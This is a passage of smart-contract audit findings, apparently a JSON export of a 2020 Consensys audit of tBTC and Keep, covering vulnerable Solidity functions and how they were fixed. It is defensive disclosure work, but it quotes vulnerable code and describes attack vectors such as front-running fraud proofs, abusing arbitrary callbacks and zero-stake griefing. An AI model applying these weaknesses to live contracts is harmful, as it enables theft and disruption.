retrieve our pubkey /// @dev We store the pubkey as 2 bytestrings, X and Y. /// @param _d deposit storage pointer /// @return True if successful, otherwise revert function retrieveSignerPubkey(DepositUtils.Deposit storage _d) public { require(_d.inAwaitingSignerSetup(), \"Not currently awaiting signer setup\"); bytes memory _publicKey = IBondedECDSAKeep(_d.keepAddress).getPublicKey(); require(_publicKey.length == 64, \"public key not set or not 64-bytes long\"); _d.signingGroupPubkeyX = _publicKey.slice(0, 32).toBytes32(); _d.signingGroupPubkeyY = _publicKey.slice(32, 32).toBytes32(); require(_d.signingGroupPubkeyY != bytes32(0) && _d.signingGroupPubkeyX != bytes32(0), \"Keep returned bad pubkey\"); _d.fundingProofTimerStart = block.timestamp; _d.setAwaitingBTCFundingProof(); _d.logRegisteredPubkey( _d.signingGroupPubkeyX, _d.signingGroupPubkeyY); notifySignerSetupFailure can be called by anyone after a timeout of 3hrs tbtc/implementation/contracts/deposit/DepositFunding.sol:L93-L106 /// @notice Anyone may notify the contract that signing group setup has timed out /// @dev We rely on the keep system punishes the signers in this case /// @param _d deposit storage pointer function notifySignerSetupFailure(DepositUtils.Deposit storage _d) public { require(_d.inAwaitingSignerSetup(), \"Not awaiting setup\"); require( block.timestamp > _d.signingGroupRequestedAt + TBTCConstants.getSigningGroupFormationTimeout(), \"Signing group formation timeout not yet elapsed\" ); _d.setFailedSetup(); _d.logSetupFailed(); fundingTeardown(_d); Recommendation It should be ensured that a keep group always establishes or otherwise the funder is refunded the fee for the keep. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.11 tbtc - Ethereum block gas limit imposes a fundamental limitation on SPV proofs Addressed", "body": " Resolution SPV fraud proofs were removed in keep-network/tbtc#521. Remember to continue exploring this limitation of the EVM with benchmarking and gas estimates in the tBTC UI. Description Several components of the tBTC system rely on SPV proofs to prove the existence of transactions on Bitcoin. Because an SPV proof must provide the entire Bitcoin transaction to the proving smart contract, the Ethereum block gas limit imposes an upper bound on the size of the transaction in question. Although an exact upper bound is subject to several variables, reasonable estimates show that even a moderately-sized Bitcoin transaction may not be able to be successfully validated on Ethereum. This limitation is significant for two reasons: Depositors may deposit BTC to the signers by way of a legitimate Bitcoin transaction, only to find that this transaction is unable to be verified on Ethereum. Although the depositor in question was not acting maliciously, they may lose their deposit entirely. In case signers collude to spend a depositor s BTC unprompted, the system allows depositors to prove a fraudulent spend occurred by way of SPV fraud proof. Given that signers can easily spend BTC with a transaction that is too large to validate by way of SPV proof, this method of fraud proof is unreliable at best. Deposit owners should instead prove fraud by using an ECDSA fraud proof, which operates on a hash of the signed message. Recommendation It s important that prospective depositors are able to guarantee that their deposit transaction will be verified successfully. To that end, efforts should be made to provide a deposit UI that checks whether or not a given transaction will be verified successfully before it is submitted. Several variables can affect transaction verification: Current Ethereum block gas limits Number of zero-bytes in the Bitcoin transaction in question Size of the merkle proof needed to prove the transaction s existence Given that not all of these can be calculated before the transaction is submitted to the Bitcoin blockchain, calculations should attempt to provide a margin of error for the process. Additionally, users should be well-educated about the process, including how to perform a deposit with relatively low risk. Understanding the relative limitations of the EVM will help this process significantly. Consider benchmarking the gas cost of verifying Bitcoin transactions of various sizes. Finally, because SPV fraud proofs can be gamed by colluding signers, they should be removed from the system entirely. Deposit owners should always be directed towards ECDSA fraud proofs, as these require relatively fewer assumptions and stronger guarantees. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.12 bitcoin-spv - SPV proofs do not support transactions with larger numbers of inputs and outputs Pending", "body": " Resolution The client provided the following statement: Benchmarks and takeaways are being tracked in issue https://github.com/keep-network/tbtc/issues/556. Description There is no explicit restriction on the number of inputs and outputs a Bitcoin transaction can have - as long as the transaction fits into a block. The number of inputs and outputs in a transaction is denoted by a leading varint - a variable length integer. In BTCUtils.validateVin and BTCUtils.validateVout, the value of this varint is restricted to under 0xFD, or 253: bitcoin-spv/solidity/contracts/BTCUtils.sol:L404-L415 /// @notice Checks that the vin passed up is properly formatted /// @dev Consider a vin with a valid vout in its scriptsig /// @param _vin Raw bytes length-prefixed input vector /// @return True if it represents a validly formatted vin function validateVin(bytes memory _vin) internal pure returns (bool) { uint256 _offset = 1; uint8 _nIns = uint8(_vin.slice(0, 1)[0]); // Not valid if it says there are too many or no inputs if (_nIns >= 0xfd || _nIns == 0) { return false; Transactions that include more than 252 inputs or outputs will not pass this validation, leading to some legitimate deposits being rejected by the tBTC system. Examples The 252-item limit exists in a few forms throughout the system, outside of the aforementioned BTCUtils.validateVin and BTCUtils.validateVout: BTCUtils.determineOutputLength: bitcoin-spv/solidity/contracts/BTCUtils.sol:L294-L303 /// @notice Determines the length of an output /// @dev 5 types: WPKH, WSH, PKH, SH, and OP_RETURN /// @param _output The output /// @return The length indicated by the prefix, error if invalid length function determineOutputLength(bytes memory _output) internal pure returns (uint256) { uint8 _len = uint8(_output.slice(8, 1)[0]); require(_len < 0xfd, \"Multi-byte VarInts not supported\"); return _len + 8 + 1; // 8 byte value, 1 byte for _len itself DepositUtils.findAndParseFundingOutput: tbtc/implementation/contracts/deposit/DepositUtils.sol:L150-L154 function findAndParseFundingOutput( DepositUtils.Deposit storage _d, bytes memory _txOutputVector, uint8 _fundingOutputIndex ) public view returns (bytes8) { DepositUtils.validateAndParseFundingSPVProof: tbtc/implementation/contracts/deposit/DepositUtils.sol:L181-L191 function validateAndParseFundingSPVProof( DepositUtils.Deposit storage _d, bytes4 _txVersion, bytes memory _txInputVector, bytes memory _txOutputVector, bytes4 _txLocktime, uint8 _fundingOutputIndex, bytes memory _merkleProof, uint256 _txIndexInBlock, bytes memory _bitcoinHeaders ) public view returns (bytes8 _valueBytes, bytes memory _utxoOutpoint){ DepositFunding.provideFraudBTCFundingProof: tbtc/implementation/contracts/deposit/DepositFunding.sol:L213-L223 function provideFraudBTCFundingProof( DepositUtils.Deposit storage _d, bytes4 _txVersion, bytes memory _txInputVector, bytes memory _txOutputVector, bytes4 _txLocktime, uint8 _fundingOutputIndex, bytes memory _merkleProof, uint256 _txIndexInBlock, bytes memory _bitcoinHeaders ) public returns (bool) { DepositFunding.provideBTCFundingProof: tbtc/implementation/contracts/deposit/DepositFunding.sol:L263-L273 function provideBTCFundingProof( DepositUtils.Deposit storage _d, bytes4 _txVersion, bytes memory _txInputVector, bytes memory _txOutputVector, bytes4 _txLocktime, uint8 _fundingOutputIndex, bytes memory _merkleProof, uint256 _txIndexInBlock, bytes memory _bitcoinHeaders ) public returns (bool) { DepositLiquidation.provideSPVFraudProof: tbtc/implementation/contracts/deposit/DepositLiquidation.sol:L150-L160 function provideSPVFraudProof( DepositUtils.Deposit storage _d, bytes4 _txVersion, bytes memory _txInputVector, bytes memory _txOutputVector, bytes4 _txLocktime, bytes memory _merkleProof, uint256 _txIndexInBlock, uint8 _targetInputIndex, bytes memory _bitcoinHeaders ) public { Recommendation Incorporate varint parsing in BTCUtils.validateVin and BTCUtils.validateVout. Ensure that other components of the system reflect the removal of the 252-item limit. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.13 bitcoin-spv - multiple integer under-/overflows Addressed", "body": " Resolution This was partially addressed in summa-tx/bitcoin-spv#118, summa-tx/bitcoin-spv#119, and summa-tx/bitcoin-spv#122. Summa opted not to fix the underflow in extractTarget. In summa-tx/bitcoin-spv#118, the determineOutputLength overflow was addressed by casting _len to a uint256 before addition. In summa-tx/bitcoin-spv#119, the extractHash underflow was addressed by returning an empty bytes array if the extracted length would cause underflow. Note that an explicit error and transaction revert is favorable in these cases, in order to avoid returning unusable data to the calling function. Underflow and overflow in BytesLib was addressed in summa-tx/bitcoin-spv#122. Multiple requires were added to the mentioned functions, ensuring memory reads stayed in-bounds for each array. A later change in summa-tx/bitcoin-spv#128 added support for slice with a length of 0. Description The bitcoin-spv library allows for multiple integer under-/overflows while processing or converting potentially untrusted or user-provided data. Examples uint8 underflow uint256(uint8(_e - 3)) Note: _header[75] will throw consuming all gas if out of bounds while the majority of the library usually uses slice(start, 1) to handle this more gracefully. bitcoin-spv/solidity/contracts/BTCUtils.sol:L483-L494 /// @dev Target is a 256 bit number encoded as a 3-byte mantissa and 1 byte exponent /// @param _header The header /// @return The target threshold function extractTarget(bytes memory _header) internal pure returns (uint256) { bytes memory _m = _header.slice(72, 3); uint8 _e = uint8(_header[75]); uint256 _mantissa = bytesToUint(reverseEndianness(_m)); uint _exponent = _e - 3; return _mantissa * (256 ** _exponent); uint8 overflow uint256(uint8(_len + 8 + 1)) Note: might allow a specially crafted output to return an invalid determineOutputLength <= 9. Note: while type VarInt is implemented for inputs, it is not for the output length. bitcoin-spv/solidity/contracts/BTCUtils.sol:L295-L304 /// @dev 5 types: WPKH, WSH, PKH, SH, and OP_RETURN /// @param _output The output /// @return The length indicated by the prefix, error if invalid length function determineOutputLength(bytes memory _output) internal pure returns (uint256) { uint8 _len = uint8(_output.slice(8, 1)[0]); require(_len < 0xfd, \"Multi-byte VarInts not supported\"); return _len + 8 + 1; // 8 byte value, 1 byte for _len itself uint8 underflow uint256(uint8(extractOutputScriptLen(_output)[0]) - 2) bitcoin-spv/solidity/contracts/BTCUtils.sol:L366-L378 /// @dev Determines type by the length prefix and validates format /// @param _output The output /// @return The hash committed to by the pk_script, or null for errors function extractHash(bytes memory _output) internal pure returns (bytes memory) { if (uint8(_output.slice(9, 1)[0]) == 0) { uint256 _len = uint8(extractOutputScriptLen(_output)[0]) - 2; // Check for maliciously formatted witness outputs if (uint8(_output.slice(10, 1)[0]) != uint8(_len)) { return hex\"\"; return _output.slice(11, _len); } else { bytes32 _tag = _output.keccak256Slice(8, 3); BytesLib input validation multiple start+length overflow Note: multiple occurrences. should check start+length > start && bytes.length >= start+length bitcoin-spv/solidity/contracts/BytesLib.sol:L246-L248 function slice(bytes memory _bytes, uint _start, uint _length) internal pure returns (bytes memory res) { require(_bytes.length >= (_start + _length), \"Slice out of bounds\"); BytesLib input validation multiple start overflow bitcoin-spv/solidity/contracts/BytesLib.sol:L280-L281 function toUint(bytes memory _bytes, uint _start) internal pure returns (uint256) { require(_bytes.length >= (_start + 32), \"Uint conversion out of bounds.\"); bitcoin-spv/solidity/contracts/BytesLib.sol:L269-L270 function toAddress(bytes memory _bytes, uint _start) internal pure returns (address) { require(_bytes.length >= (_start + 20), \"Address conversion out of bounds.\"); bitcoin-spv/solidity/contracts/BytesLib.sol:L246-L248 function slice(bytes memory _bytes, uint _start, uint _length) internal pure returns (bytes memory res) { require(_bytes.length >= (_start + _length), \"Slice out of bounds\"); bitcoin-spv/solidity/contracts/BytesLib.sol:L410-L412 function keccak256Slice(bytes memory _bytes, uint _start, uint _length) pure internal returns (bytes32 result) { require(_bytes.length >= (_start + _length), \"Slice out of bounds\"); Recommendation We believe that a general-purpose parsing and verification library for bitcoin payments should be very strict when processing untrusted user input. With strict we mean, that it should rigorously validate provided input data and only proceed with the processing of the data if it is within a safe-to-use range for the method to return valid results. Relying on the caller to provide pre-validate data can be unsafe especially if the caller assumes that proper input validation is performed by the library. Given the risk profile for this library, we recommend a conservative approach that balances security instead of gas efficiency without relying on certain calls or instructions to throw on invalid input. For this issue specifically, we recommend proper input validation and explicit type expansion where necessary to prevent values from wrapping or processing data for arguments that are not within a safe-to-use range. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.14 tbtc - Unreachable state LIQUIDATION_IN_PROGRESS Addressed", "body": " Resolution Addressed with https://github.com/keep-network/tbtc/issues/497 with commits from keep-network/tbtc#517 changing all non-fraud transitions to end up in Description According to the specification (overview, states, version 2020-02-06), a deposit can be in one of two liquidation_in_progress states. LIQUIDATION_IN_PROGRESS LIQUIDATION_IN_PROGRESS Liquidation due to undercollateralization or an abort has started Automatic (on-chain) liquidation was unsuccessful FRAUD_LIQUIDATION_IN_PROGRESS FRAUD_LIQUIDATION_IN_PROGRESS Liquidation due to fraud has started Automatic (on-chain) liquidation was unsuccessful However, LIQUIDATION_IN_PROGRESS is unreachable and instead, FRAUD_LIQUIDATION_IN_PROGRESS is always called. This means that all non-fraud state transitions end up in the fraud liquidation path and will perform actions as if fraud was detected even though it might be caused by an undercollateralized notification or courtesy timeout. Examples startSignerAbortLiquidation transitions to FRAUD_LIQUIDATION_IN_PROGRESS on non-fraud events notifyUndercollateralizedLiquidation and notifyCourtesyTimeout tbtc/implementation/contracts/deposit/DepositLiquidation.sol:L96-L108 /// @notice Starts signer liquidation due to abort or undercollateralization /// @dev We first attempt to liquidate on chain, then by auction /// @param _d deposit storage pointer function startSignerAbortLiquidation(DepositUtils.Deposit storage _d) internal { _d.logStartedLiquidation(false); // Reclaim used state for gas savings _d.redemptionTeardown(); _d.seizeSignerBonds(); _d.liquidationInitiated = block.timestamp; // Store the timestamp for auction _d.liquidationInitiator = msg.sender; _d.setFraudLiquidationInProgress(); Recommendation Verify state transitions and either remove LIQUIDATION_IN_PROGRESS if it is redundant or fix the state transitions for non-fraud liquidations. Note that Deposit states can be simplified by removing redundant states by setting a flag (e.g. fraudLiquidation) in the deposit instead of adding a state to track the fraud liquidation path. According to the specification, we assume the following state transitions are desired: LIQUIDATION_IN_PROGRESS In case of liquidation due to undercollateralization or abort, the remaining bond value is split 50-50 between the account which triggered the liquidation and the signers. FRAUD_LIQUIDATION_IN_PROGRESS In case of liquidation due to fraud, the remaining bond value in full goes to the account which triggered the liquidation by proving fraud. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.15 tbtc - various deposit state transitions can be front-run (e.g. fraud proofs, timeouts) ", "body": " Resolution Addressed with the discussion at https://github.com/keep-network/tbtc/issues/498. It is accepted that a malicious entity may be able to front-run certain fraud proofs as long as fraud is being called out. It is also accepted that calls to certain timeouts may be front-run which could lead to a scenario where the client implementation is always front-run by a malicious actor. Additionally, the client provided the following statement: In general, we are comfortable with front-runnable interactions that ensure system integrity, as long as such front-running does not remove the original incentive of the submitter. We believe remaining front-runnable interactions have clear benefits to system actors, such that even if they are front-run, they have reason to submit the transaction. Description An entity that can provide proof for fraudulent ECDSA signatures or SPV proofs in the liquidation flow is rewarded with part of the deposit contract ETH value. Specification: Liquidation Any signer bond left over after the deposit owner is compensated is distributed to the account responsible for reporting the misbehavior (for fraud) or between the signers and the account that triggered liquidation (for collateralization issues). However, the methods under which proof is provided are not protected from front-running allowing anyone to observe transactions to provideECDSAFraudProof/ provideSPVFraudProof and submit the same proofs with providing a higher gas value. Please note that a similar issue exists for timeout states providing rewards for calling them out (i.e. they set the liquidationInitiator address). Examples provideECDSAFraudProof verifies the fraudulent proof r,s,v,signedDigest appear to be the fraudulent signature. _preimage is the correct value. tbtc/implementation/contracts/deposit/DepositLiquidation.sol:L117-L137 /// @param _preimage The sha256 preimage of the digest function provideECDSAFraudProof( DepositUtils.Deposit storage _d, uint8 _v, bytes32 _r, bytes32 _s, bytes32 _signedDigest, bytes memory _preimage ) public { require( !_d.inFunding() && !_d.inFundingFailure(), \"Use provideFundingECDSAFraudProof instead\" ); require( !_d.inSignerLiquidation(), \"Signer liquidation already in progress\" ); require(!_d.inEndState(), \"Contract has halted\"); require(submitSignatureFraud(_d, _v, _r, _s, _signedDigest, _preimage), \"Signature is not fraud\"); startSignerFraudLiquidation(_d); startSignerFraudLiquidation sets the address that provides the proof as the beneficiary tbtc/implementation/contracts/deposit/DepositFunding.sol:L153-L179 function provideFundingECDSAFraudProof( DepositUtils.Deposit storage _d, uint8 _v, bytes32 _r, bytes32 _s, bytes32 _signedDigest, bytes memory _preimage ) public { require( _d.inAwaitingBTCFundingProof(), \"Signer fraud during funding flow only available while awaiting funding\" ); bool _isFraud = _d.submitSignatureFraud(_v, _r, _s, _signedDigest, _preimage); require(_isFraud, \"Signature is not fraudulent\"); _d.logFraudDuringSetup(); // If the funding timeout has elapsed, punish the funder too! if (block.timestamp > _d.fundingProofTimerStart + TBTCConstants.getFundingTimeout()) { address(0).transfer(address(this).balance); // Burn it all down (fire emoji) _d.setFailedSetup(); } else { /* NB: This is reuse of the variable */ _d.fundingProofTimerStart = block.timestamp; _d.setFraudAwaitingBTCFundingProof(); purchaseSignerBondsAtAuction pays out the funds tbtc/implementation/contracts/deposit/DepositLiquidation.sol:L260-L276 uint256 contractEthBalance = address(this).balance; address payable initiator = _d.liquidationInitiator; if (initiator == address(0)){ initiator = address(0xdead); if (contractEthBalance > 1) { if (_wasFraud) { initiator.transfer(contractEthBalance); } else { // There will always be a liquidation initiator. uint256 split = contractEthBalance.div(2); _d.pushFundsToKeepGroup(split); initiator.transfer(split); Recommendation For fraud proofs, it should be required that the reporter uses a commit/reveal scheme to lock in a proof in one block, and reveal the details in another. ", "labels": ["Consensys", "Major", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.16 tbtc - Anyone can emit log events due to missing access control Addressed", "body": " Resolution Addressed with https://github.com/keep-network/tbtc/issues/477, keep-network/tbtc#467 and keep-network/tbtc#537 by restricting log calls to known Description Examples tbtc/implementation/contracts/DepositLog.sol:L95-L99 function approvedToLog(address _caller) public pure returns (bool) { /* TODO: auth via system */ _caller; return true; Recommendation Log events are typically initiated by the Deposit contract. Make sure only Deposit contracts deployed by an approved factory can emit logs on TBTCSystem. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.17 DKGResultVerification.verify unsafe packing in signed data Addressed", "body": " Resolution Addressed with keep-network/keep-core#1525 by adding additional checks for Description DKGResultVerification.verify allows the sender to arbitrarily move bytes between groupPubKey and misbehaved: keep-core/contracts/solidity/contracts/libraries/operator/DKGResultVerification.sol:L80 bytes32 resultHash = keccak256(abi.encodePacked(groupPubKey, misbehaved)); Recommendation Validate the expected length of both and add a salt between the two. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.18 keep-core - Service contract callbacks can be abused to call into other contracts Addressed", "body": " Resolution Addressed with keep-network/keep-core#1532 by hardcoding the callback method signature and the following statement: We still allow specifying an address of the callback contract. This could be beneficial in a situations where one contract pays for a random number for another contract. A subsequent change in keep-network/keep-ecdsa#339 updated keep-tecdsa to use the new, hardcoded callback function: __beaconCallback(uint256). Description KeepRandomBeaconServiceImplV1 allows senders to specify an arbitrary method and contract that will receive a callback once the beacon generates a relay entry: keep-core/contracts/solidity/contracts/KeepRandomBeaconServiceImplV1.sol:L228-L245 /** @dev Creates a request to generate a new relay entry, which will include a random number (by signing the previous entry's random number). @param callbackContract Callback contract address. Callback is called once a new relay entry has been generated. @param callbackMethod Callback contract method signature. String representation of your method with a single uint256 input parameter i.e. \"relayEntryCallback(uint256)\". @param callbackGas Gas required for the callback. The customer needs to ensure they provide a sufficient callback gas to cover the gas fee of executing the callback. Any surplus is returned to the customer. If the callback gas amount turns to be not enough to execute the callback, callback execution is skipped. @return An uint256 representing uniquely generated relay request ID. It is also returned as part of the event. / function requestRelayEntry( address callbackContract, string memory callbackMethod, uint256 callbackGas ) public nonReentrant payable returns (uint256) { Once an operator contract receives the relay entry, it calls executeCallback: keep-core/contracts/solidity/contracts/KeepRandomBeaconServiceImplV1.sol:L314-L335 /** @dev Executes customer specified callback for the relay entry request. @param requestId Request id tracked internally by this contract. @param entry The generated random number. @return Address to receive callback surplus. / function executeCallback(uint256 requestId, uint256 entry) public returns (address payable surplusRecipient) { require( _operatorContracts.contains(msg.sender), \"Only authorized operator contract can call execute callback.\" ); require( _callbacks[requestId].callbackContract != address(0), \"Callback contract not found\" ); _callbacks[requestId].callbackContract.call(abi.encodeWithSignature(_callbacks[requestId].callbackMethod, entry)); surplusRecipient = _callbacks[requestId].surplusRecipient; delete _callbacks[requestId]; Arbitrary callbacks can be used to force the service contract to execute many functions within the keep contract system. Currently, the KeepRandomBeaconOperator includes an onlyServiceContract modifier: keep-core/contracts/solidity/contracts/KeepRandomBeaconOperator.sol:L150-L159 /** @dev Checks if sender is authorized. / modifier onlyServiceContract() { require( serviceContracts.contains(msg.sender), \"Caller is not an authorized contract\" ); _; The functions it protects cannot be targeted by the aforementioned service contract callbacks due to Solidity s CALLDATASIZE checking. However, the presence of the modifier suggests that the service contract is expected to be a permissioned actor within some contracts. Recommendation Stick to a constant callback method signature, rather than allowing users to submit an arbitrary string. An example is __beaconCallback__(uint256). Consider disallowing arbitrary callback destinations. Instead, rely on contracts making requests directly, and default the callback destination to msg.sender. Ensure the sender is not an EOA. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.19 tbtc - Disallow signatures with high-s values in DepositRedemption.provideRedemptionSignature Addressed", "body": " Resolution Issue addressed in keep-network/tbtc#518 Description DepositRedemption.provideRedemptionSignature is used by signers to publish a signature that can be used to redeem a deposit on Bitcoin. The function accepts a signature s value in the upper half of the secp256k1 curve: tbtc/implementation/contracts/deposit/DepositRedemption.sol:L183-L202 function provideRedemptionSignature( DepositUtils.Deposit storage _d, uint8 _v, bytes32 _r, bytes32 _s ) public { require(_d.inAwaitingWithdrawalSignature(), \"Not currently awaiting a signature\"); // If we're outside of the signature window, we COULD punish signers here // Instead, we consider this a no-harm-no-foul situation. // The signers have not stolen funds. Most likely they've just inconvenienced someone // The signature must be valid on the pubkey require( _d.signerPubkey().checkSig( _d.lastRequestedDigest, _v, _r, _s ), \"Invalid signature\" ); Although ecrecover accepts signatures with these s values, they are no longer used in Bitcoin. As such, the signature will appear to be valid to the Ethereum smart contract, but will likely not be accepted on Bitcoin. If no users watching malleate the signature, the redemption process will likely enter a fee increase loop, incurring a cost on the deposit owner. Recommendation Ensure the passed-in s value is restricted to the lower half of the secp256k1 curve, as done in BondedECDSAKeep: keep-tecdsa/solidity/contracts/BondedECDSAKeep.sol:L333-L340 // Validate `s` value for a malleability concern described in EIP-2. // Only signatures with `s` value in the lower half of the secp256k1 // curve's order are considered valid. require( uint256(_s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, \"Malleable signature - s should be in the low half of secp256k1 curve's order\" ); ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.20 Consistent use of SafeERC20 for external tokens Addressed", "body": " Resolution Addressed with https://github.com/keep-network/keep-core/issues/1407 and https://github.com/keep-network/keep-tecdsa/issues/272. Description Use SafeERC20 features to interact with potentially broken tokens used in the system. E.g. TokenGrant.receiveApproval() is using safeTransferFrom while other contracts aren t. Examples TokenGrant.receiveApproval using safeTransferFrom keep-core/contracts/solidity/contracts/TokenGrant.sol:L200-L200 token.safeTransferFrom(_from, address(this), _amount); TokenStaking.receiveApproval not using safeTransferFrom while safeTransfer is being used. keep-core/contracts/solidity/contracts/TokenStaking.sol:L75-L75 token.transferFrom(_from, address(this), _value); keep-core/contracts/solidity/contracts/TokenStaking.sol:L103-L103 token.safeTransfer(owner, amount); keep-core/contracts/solidity/contracts/TokenStaking.sol:L193-L193 token.transfer(tattletale, tattletaleReward); distributeERC20ToMembers not using safeTransferFrom keep-tecdsa/solidity/contracts/BondedECDSAKeep.sol:L459-L463 token.transferFrom( msg.sender, tokenStaking.magpieOf(members[i]), dividend ); Recommendation Consistently use SafeERC20 to support potentially broken tokens external to the system. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.21 Initialize implementations for proxy contracts and protect initialization methods Addressed", "body": " Resolution This issue is addressed with the following changesets that ensure that the logic contracts cannot be used by other parties by initializing them in the constructor: https://github.com/keep-network/keep-tecdsa/issues/297, https://github.com/keep-network/keep-core/issues/1424, and https://github.com/keep-network/tbtc/issues/500. Description It should be avoided that the implementation for proxy contracts can be initialized by third parties. This can be the case if the initialize function is unprotected. Since the implementation contract is not meant to be used directly without a proxy delegate-calling it is recommended to protect the initialization method of the implementation by initializing on deployment. Changing the proxies implementation (upgradeTo()) to a version that does not protect the initialization method may allow someone to front-run and initialize the contract if it is not done within the same transaction. Examples KeepVendor delegates to KeepVendorImplV1. The implementations initialization method is unprotected. keep-tecdsa/solidity/contracts/BondedECDSAKeepVendorImplV1.sol:L22-L32 /// @notice Initializes Keep Vendor contract implementation. /// @param registryAddress Keep registry contract linked to this contract. function initialize( address registryAddress public require(!initialized(), \"Contract is already initialized.\"); _initialized[\"BondedECDSAKeepVendorImplV1\"] = true; registry = Registry(registryAddress); KeepRandomBeaconServiceImplV1 and KeepRandomBeaconServiceUpgradeExample keep-core/contracts/solidity/contracts/KeepRandomBeaconServiceImplV1.sol:L118-L137 function initialize( uint256 priceFeedEstimate, uint256 fluctuationMargin, uint256 dkgContributionMargin, uint256 withdrawalDelay, address registry public require(!initialized(), \"Contract is already initialized.\"); _initialized[\"KeepRandomBeaconServiceImplV1\"] = true; _priceFeedEstimate = priceFeedEstimate; _fluctuationMargin = fluctuationMargin; _dkgContributionMargin = dkgContributionMargin; _withdrawalDelay = withdrawalDelay; _pendingWithdrawal = 0; _previousEntry = _beaconSeed; _registry = registry; _baseCallbackGas = 18845; Deposit is deployed via cloneFactory delegating to a masterDepositAddress in DepositFactory. The masterDepositAddress (Deposit) might be left uninitialized. tbtc/implementation/contracts/system/DepositFactoryAuthority.sol:L3-L14 contract DepositFactoryAuthority { bool internal _initialized = false; address internal _depositFactory; /// @notice Set the address of the System contract on contract initialization function initialize(address _factory) public { require(! _initialized, \"Factory can only be initialized once.\"); _depositFactory = _factory; _initialized = true; Recommendation Initialize unprotected implementation contracts in the implementation s constructor. Protect initialization methods from being called by unauthorized parties or ensure that deployment of the proxy and initialization is performed in the same transaction. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.22 keep-tecdsa - If caller sends more than is contained in the signer subsidy pool, the value is burned Addressed", "body": " Resolution Issue addressed in keep-network/keep-ecdsa#306. The Description The signer subsidy pool in BondedECDSAKeepFactory tracks funds sent to the contract. Each time a keep is opened, the subsidy pool is intended to be distributed to the members of the new keep: keep-tecdsa/solidity/contracts/BondedECDSAKeepFactory.sol:L312-L320 // If subsidy pool is non-empty, distribute the value to signers but // never distribute more than the payment for opening a keep. uint256 signerSubsidy = subsidyPool < msg.value ? subsidyPool : msg.value; if (signerSubsidy > 0) { subsidyPool -= signerSubsidy; keep.distributeETHToMembers.value(signerSubsidy)(); The tracking around subsidy pool increases is inconsistent, and can lead to sent value being burned. In the case that subsidyPool contains less Ether than is sent in msg.value, msg.value is unused and remains in the contract. It may or may not be added to subsidyPool, depending on the return status of the random beacon: keep-tecdsa/solidity/contracts/BondedECDSAKeepFactory.sol:L347-L357 (bool success, ) = address(randomBeacon).call.gas(400000).value(msg.value)( abi.encodeWithSignature( \"requestRelayEntry(address,string,uint256)\", address(this), \"setGroupSelectionSeed(uint256)\", callbackGas ); if (!success) { subsidyPool += msg.value; // beacon is busy Recommendation Rather than tracking the subsidyPool individually, simply distribute this.balance to each new keep s members. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.23 keep-core - TokenGrant and TokenStaking allow staking zero amount of tokens and front-running Addressed", "body": " Resolution Addressed with https://github.com/keep-network/keep-core/issues/1425 and keep-network/keep-core#1461 by requiring a hardcoded minimum amount of tokens to be staked. Description Tokens are staked via the callback receiveApproval() which is normally invoked when calling approveAndCall(). The method is not restricting who can initiate the staking of tokens and relies on the fact that the token transfer to the TokenStaking contract is pre-approved by the owner, otherwise, the call would revert. However, receiveApproval() allows the staking of a zero amount of tokens. The only check performed on the number of tokens transferred is, that the token holders balance covers the amount to be transferred. This check is both relatively weak - having enough balance does not imply that tokens are approved for transfer - and does not cover the fact that someone can call the method with a zero amount of tokens. This way someone could create an arbitrary number of operators staking no tokens at all. This passes the token balance check, token.transferFrom() will succeed and an operator struct with a zero stake and arbitrary values for operator, from, magpie, authorizer can be set. Finally, an event is emitted for a zero stake. An attacker could front-run calls to receiveApproval to block staking of a legitimate operator by creating a zero stake entry for the operator before she is able to. This vector might allow someone to permanently inconvenience an operator s address. To recover from this situation one could be forced to cancelStake terminating the zero stake struct in order to call the contract with the correct stake again. The same issue exists for TokenGrant. Examples keep-core/contracts/solidity/contracts/TokenStaking.sol:L54-L81 /** @notice Receives approval of token transfer and stakes the approved amount. @dev Makes sure provided token contract is the same one linked to this contract. @param _from The owner of the tokens who approved them to transfer. @param _value Approved amount for the transfer and stake. @param _token Token contract address. @param _extraData Data for stake delegation. This byte array must have the following values concatenated: Magpie address (20 bytes) where the rewards for participation are sent, operator's (20 bytes) address, authorizer (20 bytes) address. / function receiveApproval(address _from, uint256 _value, address _token, bytes memory _extraData) public { require(ERC20Burnable(_token) == token, \"Token contract must be the same one linked to this contract.\"); require(_value <= token.balanceOf(_from), \"Sender must have enough tokens.\"); require(_extraData.length == 60, \"Stake delegation data must be provided.\"); address payable magpie = address(uint160(_extraData.toAddress(0))); address operator = _extraData.toAddress(20); require(operators[operator].owner == address(0), \"Operator address is already in use.\"); address authorizer = _extraData.toAddress(40); // Transfer tokens to this contract. token.transferFrom(_from, address(this), _value); operators[operator] = Operator(_value, block.number, 0, _from, magpie, authorizer); ownerOperators[_from].push(operator); emit Staked(operator, _value); Recommendation Require tokens to be staked and explicitly disallow the zero amount of tokens case. The balance check can be removed. Note: Consider checking the calls return 